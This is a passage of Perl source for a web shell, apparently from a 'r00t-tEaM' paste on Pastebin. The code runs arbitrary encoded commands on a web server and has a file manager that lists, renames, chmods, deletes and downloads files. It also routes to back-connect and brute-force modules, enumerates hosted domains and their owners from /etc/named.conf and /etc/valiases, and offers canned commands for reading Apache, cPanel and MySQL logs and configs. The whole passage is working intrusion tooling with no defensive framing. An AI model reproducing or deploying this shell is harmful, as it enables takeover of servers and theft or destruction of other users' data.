  2488.  
  2489.     return "???";
  2490.  
  2491. }
  2492.  
  2493. sub ParentFolder($)
  2494.  
  2495. {
  2496.  
  2497.     my $path = shift;
  2498.  
  2499.     my $Comm = "cd \"$CurrentDir\"".$CmdSep."cd ..".$CmdSep.$CmdPwd;
  2500.  
  2501.     chop($path = `$Comm`);
  2502.  
  2503.     return $path;
  2504.  
  2505. }
  2506.  
  2507. sub FilePerms($)
  2508.  
  2509. {
  2510.  
  2511.     my $file = shift;
  2512.  
  2513.     my $ur = "-";
  2514.  
  2515.     my $uw = "-";
  2516.  
  2517.     if(-e $file)
  2518.  
  2519.     {
  2520.  
  2521.         if($WinNT)
  2522.  
  2523.         {
  2524.  
  2525.             if(-r $file){ $ur = "r"; }
  2526.  
  2527.             if(-w $file){ $uw = "w"; }
  2528.  
  2529.             return $ur . " / " . $uw;
  2530.  
  2531.         }else
  2532.  
  2533.         {
  2534.  
  2535.             $mode=(stat($file))[2];
  2536.  
  2537.             $result = sprintf("%04o", $mode & 07777);
  2538.  
  2539.             return $result;
  2540.  
  2541.         }
  2542.  
  2543.     }
  2544.  
  2545.     return "0000";
  2546.  
  2547. }
  2548.  
  2549. sub FileLastModified($)
  2550.  
  2551. {
  2552.  
  2553.     my $file = shift;
  2554.  
  2555.     if(-e $file)
  2556.  
  2557.     {
  2558.  
  2559.         ($la) = (stat($file))[9];
  2560.  
  2561.         ($d,$m,$y,$h,$i) = (localtime($la))[3,4,5,2,1];
  2562.  
  2563.         $y = $y + 1900;
  2564.  
  2565.         @month = qw/1 2 3 4 5 6 7 8 9 10 11 12/;
  2566.  
  2567.         $lmtime = sprintf("%02d/%s/%4d %02d:%02d",$d,$month[$m],$y,$h,$i);
  2568.  
  2569.         return $lmtime;
  2570.  
  2571.     }
  2572.  
  2573.     return "???";
  2574.  
  2575. }
  2576.  
  2577. sub FileSize($)
  2578.  
  2579. {
  2580.  
  2581.     my $file = shift;
  2582.  
  2583.     if(-f $file)
  2584.  
  2585.     {
  2586.  
  2587.         return -s "$file";
  2588.  
  2589.     }
  2590.  
  2591.     return "0";
  2592.  
  2593. }
  2594.  
  2595. sub ParseFileSize($)
  2596.  
  2597. {
  2598.  
  2599.     my $size = shift;
  2600.  
  2601.     if($size <= 1024)
  2602.  
  2603.     {
  2604.  
  2605.         return $size. " B";
  2606.  
  2607.     }
  2608.  
  2609.     else
  2610.  
  2611.     {
  2612.  
  2613.         if($size <= 1024*1024)
  2614.  
  2615.         {
  2616.  
  2617.             $size = sprintf("%.02f",$size / 1024);
  2618.  
  2619.             return $size." KB";
  2620.  
  2621.         }
  2622.  
  2623.         else
  2624.  
  2625.         {
  2626.  
  2627.             $size = sprintf("%.2f",$size / 1024 / 1024);
  2628.  
  2629.             return $size." MB";
  2630.  
  2631.         }
  2632.  
  2633.     }
  2634.  
  2635. }
  2636.  
  2637. sub trim($)
  2638.  
  2639. {
  2640.  
  2641.     my $string = shift;
  2642.  
  2643.     $string =~ s/^\s+//;
  2644.  
  2645.     $string =~ s/\s+$//;
  2646.  
  2647.     return $string;
  2648.  
  2649. }
  2650.  
  2651. sub AddSlashes($)
  2652.  
  2653. {
  2654.  
  2655.     my $string = shift;
  2656.  
  2657.     $string=~ s/\\/\\\\/g;
  2658.  
  2659.     return $string;
  2660.  
  2661. }
  2662.  
  2663. sub TrimSlashes($)
  2664.  
  2665. {
  2666.  
  2667.     my $string = shift;
  2668.  
  2669.     $string=~ s/\/\//\//g;
  2670.  
  2671.     $string=~ s/\\\\/\\/g;
  2672.  
  2673.     return $string;
  2674.  
  2675. }
  2676.  
  2677. sub ListDir
  2678.  
  2679. {
  2680.  
  2681.     my $path = &TrimSlashes($CurrentDir.$PathSep);
  2682.  
  2683.     my $result = "<form name='f' onSubmit=\"Encoder('d')\" action='$ScriptLocation'><span style='font: 11pt Verdana; font-weight: bold;'>Path: [ ".&AddLinkDir("gui")." ] </span><input type='text' id='d' name='d' size='40' value='$CurrentDir' /><input type='hidden' name='a' value='gui'><input class='submit' type='submit' value='Change'></form>";
  2684.  
  2685.     if(-d $path)
  2686.  
  2687.     {
  2688.  
  2689.         my @fname = ();
  2690.  
  2691.         my @dname = ();
  2692.  
  2693.         if(opendir(DIR,$path))
  2694.  
  2695.         {
  2696.  
  2697.             while($file = readdir(DIR))
  2698.  
  2699.             {
  2700.  
  2701.                 $f=$path.$file;
  2702.  
  2703.                 if(-d $f)
  2704.  
  2705.                 {
  2706.  
  2707.                     push(@dname,$file);
  2708.  
  2709.                 }
  2710.  
  2711.                 else
  2712.  
  2713.                 {
  2714.  
  2715.                     push(@fname,$file);
  2716.  
  2717.                 }
  2718.  
  2719.             }
  2720.  
  2721.             closedir(DIR);
  2722.  
  2723.         }
  2724.  
  2725.         @fname = sort { lc($a) cmp lc($b) } @fname;
  2726.  
  2727.         @dname = sort { lc($a) cmp lc($b) } @dname;
  2728.  
  2729.         $result .= "<div><table width='90%' class='listdir'>
  2730.  
  2731.         <tr style='background-color: #3e3e3e'><th>File Name</th>
  2732.  
  2733.         <th width='100'>File Size</th>
  2734.  
  2735.         <th width='150'>Owner</th>
  2736.  
  2737.         <th width='100'>Permission</th>
  2738.  
  2739.         <th width='150'>Last Modified</th>
  2740.  
  2741.         <th width='230'>Action</th></tr>";
  2742.  
  2743.         my $style="notline";
  2744.  
  2745.         my $i=0;
  2746.  
  2747.         foreach my $d (@dname)
  2748.  
  2749.         {
  2750.  
  2751.             $style= ($style eq "line") ? "notline": "line";
  2752.  
  2753.             $d = &trim($d);
  2754.  
  2755.             $dirname=$d;
  2756.  
  2757.             if($d eq "..")
  2758.  
  2759.             {
  2760.  
  2761.                 $d = &ParentFolder($path);
  2762.  
  2763.             }
  2764.  
  2765.             elsif($d eq ".")
  2766.  
  2767.             {
  2768.  
  2769.                 next;
  2770.  
  2771.             }
  2772.  
  2773.             else
  2774.  
  2775.             {
  2776.  
  2777.                 $d = $path.$d;
  2778.  
  2779.             }
  2780.  
  2781.             $result .= "<tr class='$style'><td id='File_$i' class='dir'><a  href='?a=gui&d=".&EncodeDir($d)."'>[ ".$dirname." ]</a></td>";
  2782.  
  2783.             $result .= "<td>DIR</td>";
  2784.  
  2785.             $result .= "<td>".&FileOwner($d)."</td>";
  2786.  
  2787.             $result .= "<td id='FilePerms_$i' ondblclick=\"rm_chmod_form(this,".$i.",'".&FilePerms($d)."','".$dirname."')\" ><span onclick=\"chmod_form(".$i.",'".$dirname."')\" >".&FilePerms($d)."</span></td>";
  2788.  
  2789.             $result .= "<td>".&FileLastModified($d)."</td>";
  2790.  
  2791.             $result .= "<td><a onclick=\"rename_form($i,'$dirname','".&AddSlashes(&AddSlashes($d))."'); return false; \">Rename</a>  | <a onclick=\"if(!confirm('Remove dir: $dirname ?')) { return false;}\" href='?a=gui&d=".&EncodeDir($path)."&remove=$dirname'>Remove</a></td>";
  2792.  
  2793.             $result .= "</tr>";
  2794.  
  2795.             $i++;
  2796.  
  2797.         }
  2798.  
  2799.         foreach my $f (@fname)
  2800.  
  2801.         {
  2802.  
  2803.             $style= ($style eq "line") ? "notline": "line";
  2804.  
  2805.             $file=$f;
  2806.  
  2807.             $f = $path.$f;
  2808.  
  2809.             my $action = encode_base64("edit ".$file);
  2810.  
  2811.             $view = "?dir=".$path."&view=".$f;
  2812.  
  2813.             $result .= "<tr class='$style'><td id='File_$i' class='file'><a href='?a=command&d=".&EncodeDir($path)."&c=".$action."'>".$file."</a></td>";
  2814.  
  2815.             $result .= "<td>".&ParseFileSize(&FileSize($f))."</td>";
  2816.  
  2817.             $result .= "<td>".&FileOwner($f)."</td>";
  2818.  
  2819.             $result .= "<td id='FilePerms_$i' ondblclick=\"rm_chmod_form(this,".$i.",'".&FilePerms($f)."','".$file."')\" ><span onclick=\"chmod_form($i,'$file')\" >".&FilePerms($f)."</span></td>";
  2820.  
  2821.             $result .= "<td>".&FileLastModified($f)."</td>";
  2822.  
  2823.             $result .= "<td><a onclick=\"rename_form($i,'$file','f'); return false;\">Rename</a> | <a href='?a=download&o=go&f=".$f."'>Download</a> | <a onclick=\"if(!confirm('Remove file: $file ?')) { return false;}\" href='?a=gui&d=".&EncodeDir($path)."&remove=$file'>Remove</a></td>";
  2824.  
  2825.             $result .= "</tr>";
  2826.  
  2827.             $i++;
  2828.  
  2829.         }
  2830.  
  2831.         $result .= "</table></div>";
  2832.  
  2833.     }
  2834.  
  2835.     return $result;
  2836.  
  2837. }
  2838.  
  2839. #------------------------------------------------------------------------------
  2840.  
  2841. # Try to View List User
  2842.  
  2843. #------------------------------------------------------------------------------
  2844.  
  2845. sub ViewDomainUser
  2846.  
  2847. {
  2848.  
  2849.     open (d0mains, '/etc/named.conf') or $err=1;
  2850.  
  2851.     my @cnzs = <d0mains>;
  2852.  
  2853.     close d0mains;
  2854.  
  2855.     my $style="line";
  2856.  
  2857.     my $result="<h3><font style='font: 15pt Verdana;color: #ff9900;'>Copyright (C) r00t-tEaM</font></h3>";
  2858.  
  2859.     if ($err)
  2860.  
  2861.     {
  2862.  
  2863.         $result .=  ('<p>C0uldn\'t Bypass it , Sorry</p>');
  2864.  
  2865.         return $result;
  2866.  
  2867.     }else
  2868.  
  2869.     {
  2870.  
  2871.         $result .= '<table id="domain"><tr><th>d0mains</th> <th>User</th></tr>';
  2872.  
  2873.     }
  2874.  
  2875.     foreach my $one (@cnzs)
  2876.  
  2877.     {
  2878.  
  2879.         if($one =~ m/.*?zone "(.*?)" {/)
  2880.  
  2881.         {  
  2882.  
  2883.             $style= ($style eq "line") ? "notline": "line";
  2884.  
  2885.             $filename= trim("/etc/valiases/".$1);
  2886.  
  2887.             $owner = getpwuid((stat($filename))[4]);
  2888.  
  2889.             $result .= '<tr style="$style" width=50%><td><a href="http://'.$1.'" target="_blank">'.$1.'</a></td><td> '.$owner.'</td></tr>';
  2890.  
  2891.         }
  2892.  
  2893.     }
  2894.  
  2895.     $result .= '</table>';
  2896.  
  2897.     return $result;
  2898.  
  2899. }
  2900.  
  2901. #------------------------------------------------------------------------------
  2902.  
  2903. # View Log
  2904.  
  2905. #------------------------------------------------------------------------------
  2906.  
  2907. sub ViewLog
  2908.  
  2909. {
  2910.  
  2911.     $EncodeCurrentDir = EncodeDir($CurrentDir);
  2912.  
  2913.     if($WinNT)
  2914.  
  2915.     {
  2916.  
  2917.         return "<h2><font style='font: 20pt Verdana;color: #ff9900;'>Don't run on Windows</font></h2>";
  2918.  
  2919.     }
  2920.  
  2921.     my $result="<table><tr><th>Path Log</th><th>Submit</th></tr>";
  2922.  
  2923.     my @pathlog=(   '/usr/local/apache/logs/error_log',
  2924.  
  2925.             '/usr/local/apache/logs/access_log',
  2926.  
  2927.             '/usr/local/apache2/conf/httpd.conf',
  2928.  
  2929.             '/var/log/httpd/error_log',
  2930.  
  2931.             '/var/log/httpd/access_log',
  2932.  
  2933.             '/usr/local/cpanel/logs/error_log',
  2934.  
  2935.             '/usr/local/cpanel/logs/access_log',
  2936.  
  2937.             '/usr/local/apache/logs/suphp_log',
  2938.  
  2939.             '/usr/local/cpanel/logs',
  2940.  
  2941.             '/usr/local/cpanel/logs/stats_log',
  2942.  
  2943.             '/usr/local/cpanel/logs/access_log',
  2944.  
  2945.             '/usr/local/cpanel/logs/error_log',
  2946.  
  2947.             '/usr/local/cpanel/logs/license_log',
  2948.  
  2949.             '/usr/local/cpanel/logs/login_log',
  2950.  
  2951.             '/usr/local/cpanel/logs/stats_log',
  2952.  
  2953.             '/var/cpanel/cpanel.config',
  2954.  
  2955.             '/usr/local/php/lib/php.ini',
  2956.  
  2957.             '/usr/local/php5/lib/php.ini',
  2958.  
  2959.             '/var/log/mysql/mysql-bin.log',
  2960.  
  2961.             '/var/log/mysql.log',
  2962.  
  2963.             '/var/log/mysqlderror.log',
  2964.  
  2965.             '/var/log/mysql/mysql.log',
  2966.  
  2967.             '/var/log/mysql/mysql-slow.log',
  2968.  
  2969.             '/var/mysql.log',
  2970.  
  2971.             '/var/lib/mysql/my.cnf',
  2972.  
  2973.             '/etc/mysql/my.cnf',
  2974.  
  2975.             '/etc/my.cnf',
  2976.  
  2977.             );
  2978.  
  2979.     my $i=0;
  2980.  
  2981.     my $perms;
  2982.  
  2983.     my $sl;
  2984.  
  2985.     foreach my $log (@pathlog)
  2986.  
  2987.     {
  2988.  
  2989.         if(-r $log)
  2990.  
  2991.         {
  2992.  
  2993.             $perms="OK";
  2994.  
  2995.         }else
  2996.  
  2997.         {
  2998.  
  2999.             $perms="<font style='color: red;'>Cancel<font>";
  3000.  
  3001.         }
  3002.  
  3003.         $result .=<<END;
  3004.  
  3005.         <tr>
  3006.  
  3007.  
  3008.  
  3009.             <form action="" method="post" onSubmit="Encoder('log$i')">
  3010.  
  3011.             <td><input type="text" id="log$i" name="c" value="tail -10000 $log | grep '/home'" size='50'/></td>
  3012.  
  3013.             <td><input class="submit" type="submit" value="Try" /></td>
  3014.  
  3015.             <input type="hidden" name="a" value="command" />
  3016.  
  3017.             <input type="hidden" name="d" value="$EncodeCurrentDir" />
  3018.  
  3019.             </form>
  3020.  
  3021.             <td>$perms</td>
  3022.  
  3023.  
  3024.  
  3025.         </tr>
  3026.  
  3027. END
  3028.  
  3029.         $i++;
  3030.  
  3031.     }
  3032.  
  3033.     $result .="</table>";
  3034.  
  3035.     return $result;
  3036.  
  3037. }
  3038.  
  3039. #------------------------------------------------------------------------------
  3040.  
  3041. # Main Program - Execution Starts Here
  3042.  
  3043. #------------------------------------------------------------------------------
  3044.  
  3045. &ReadParse;
  3046.  
  3047. &GetCookies;
  3048.  
  3049.  
  3050.  
  3051. $ScriptLocation = $ENV{'SCRIPT_NAME'};
  3052.  
  3053. $ServerName = $ENV{'SERVER_NAME'};
  3054.  
  3055. $LoginPassword = $in{'p'};
  3056.  
  3057. $RunCommand = decode_base64($in{'c'});
  3058.  
  3059. $TransferFile = $in{'f'};
  3060.  
  3061. $Options = $in{'o'};
  3062.  
  3063. $Action = $in{'a'};
  3064.  
  3065.  
  3066.  
  3067. $Action = "command" if($Action eq ""); # no action specified, use default
  3068.  
  3069.  
  3070.  
  3071. # get the directory in which the commands will be executed
  3072.  
  3073. $CurrentDir = &TrimSlashes(decode_base64(trim($in{'d'})));
  3074.  
  3075. # mac dinh xuat thong tin neu ko co lenh nao!
  3076.  
  3077. $RunCommand= $WinNT?"dir":"dir -lia" if($RunCommand eq "");
  3078.  
  3079. chomp($CurrentDir = `$CmdPwd`) if($CurrentDir eq "");
  3080.  
  3081.  
  3082.  
  3083. $LoggedIn = $Cookies{'SAVEDPWD'} eq $Password;
  3084.  
  3085.  
  3086.  
  3087. if($Action eq "login" || !$LoggedIn)        # user needs/has to login
  3088.  
  3089. {
  3090.  
  3091.     &PerformLogin;
  3092.  
  3093. }elsif($Action eq "gui") # GUI directory
  3094.  
  3095. {
  3096.  
  3097.     &PrintPageHeader("d");
  3098.  
  3099.     if(!$WinNT)
  3100.  
  3101.     {
  3102.  
  3103.         $chmod=int($in{'chmod'});
  3104.  
  3105.         if($chmod ne 0)
  3106.  
  3107.         {
  3108.  
  3109.             $chmod=int($in{'chmod'});
  3110.  
  3111.             $file=$CurrentDir.$PathSep.$TransferFile;
  3112.  
  3113.             if(chmod($chmod,$file))
  3114.  
  3115.             {
  3116.  
  3117.                 print "<run> Done! </run><br>";
  3118.  
  3119.             }else
  3120.  
  3121.             {
  3122.  
  3123.                 print "<run> Sorry! You dont have permissions! </run><br>";
  3124.  
  3125.             }
  3126.  
  3127.         }
  3128.  
  3129.     }
  3130.  
  3131.     $rename=$in{'rename'};
  3132.  
  3133.     if($rename ne "")
  3134.  
  3135.     {
  3136.  
  3137.         if(rename($TransferFile,$rename))
  3138.  
  3139.         {
  3140.  
  3141.             print "<run> Done! </run><br>";
  3142.  
  3143.         }else
  3144.  
  3145.         {
  3146.  
  3147.             print "<run> Sorry! You dont have permissions! </run><br>";
  3148.  
  3149.         }
  3150.  
  3151.     }
  3152.  
  3153.     $remove=$in{'remove'};
  3154.  
  3155.     if($remove ne "")
  3156.  
  3157.     {
  3158.  
  3159.         $rm = $CurrentDir.$PathSep.$remove;
  3160.  
  3161.         if(-d $rm)
  3162.  
  3163.         {
  3164.  
  3165.             &RmDir($rm);
  3166.  
  3167.         }else
  3168.  
  3169.         {
  3170.  
  3171.             if(unlink($rm))
  3172.  
  3173.             {
  3174.  
  3175.                 print "<run> Done! </run><br>";
  3176.  
  3177.             }else
  3178.  
  3179.             {
  3180.  
  3181.                 print "<run> Sorry! You dont have permissions! </run><br>";
  3182.  
  3183.             }          
  3184.  
  3185.         }
  3186.  
  3187.     }
  3188.  
  3189.     print &ListDir;
  3190.  
  3191.  
  3192.  
  3193. }
  3194.  
  3195. elsif($Action eq "command")                 # user wants to run a command
  3196.  
  3197. {
  3198.  
  3199.     &PrintPageHeader("c");
  3200.  
  3201.     print &ExecuteCommand;
  3202.  
  3203. }
  3204.  
  3205. elsif($Action eq "save")                    # user wants to save a file
  3206.  
  3207. {
  3208.  
  3209.     &PrintPageHeader;
  3210.  
  3211.     if(&SaveFile($in{'data'},$in{'file'}))
  3212.  
  3213.     {
  3214.  
  3215.         print "<run> Done! </run><br>";
  3216.  
  3217.     }else
  3218.  
  3219.     {
  3220.  
  3221.         print "<run> Sorry! You dont have permissions! </run><br>";
  3222.  
  3223.     }
  3224.  
  3225.     print &ListDir;
  3226.  
  3227. }elsif($Action eq "upload")                     # user wants to upload a file
  3228.  
  3229. {
  3230.  
  3231.     &PrintPageHeader("c");
  3232.  
  3233.     print &UploadFile;
  3234.  
  3235. }elsif($Action eq "backbind")               # user wants to back connect or bind port
  3236.  
  3237. {
  3238.  
  3239.     &PrintPageHeader("clientport");
  3240.  
  3241.     print &BackBind;
  3242.  
  3243. }elsif($Action eq "bruteforcer")            # user wants to brute force
  3244.  
  3245. {
  3246.  
  3247.     &PrintPageHeader;
  3248.  
  3249.     print &BruteForcer;
  3250.  
  3251. }elsif($Action eq "download")               # user wants to download a file
  3252.  
  3253. {
  3254.  
  3255.     print &DownloadFile;
  3256.  
  3257. }elsif($Action eq "checklog")               # user wants to view log file
  3258.  
  3259. {
  3260.  
  3261.     &PrintPageHeader;
  3262.  
  3263.     print &ViewLog;
  3264.  
  3265.  
  3266.  
  3267. }elsif($Action eq "domainsuser")            # user wants to view list user/domain
  3268.  
  3269. {
  3270.  
  3271.     &PrintPageHeader;
  3272.  
  3273.     print &ViewDomainUser;
  3274.  
  3275. }elsif($Action eq "logout")                 # user wants to logout
  3276.  
  3277. {
  3278.  
  3279.     &PerformLogout;
  3280.  
  3281. }
  3282.  
  3283. &PrintPageFooter;
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!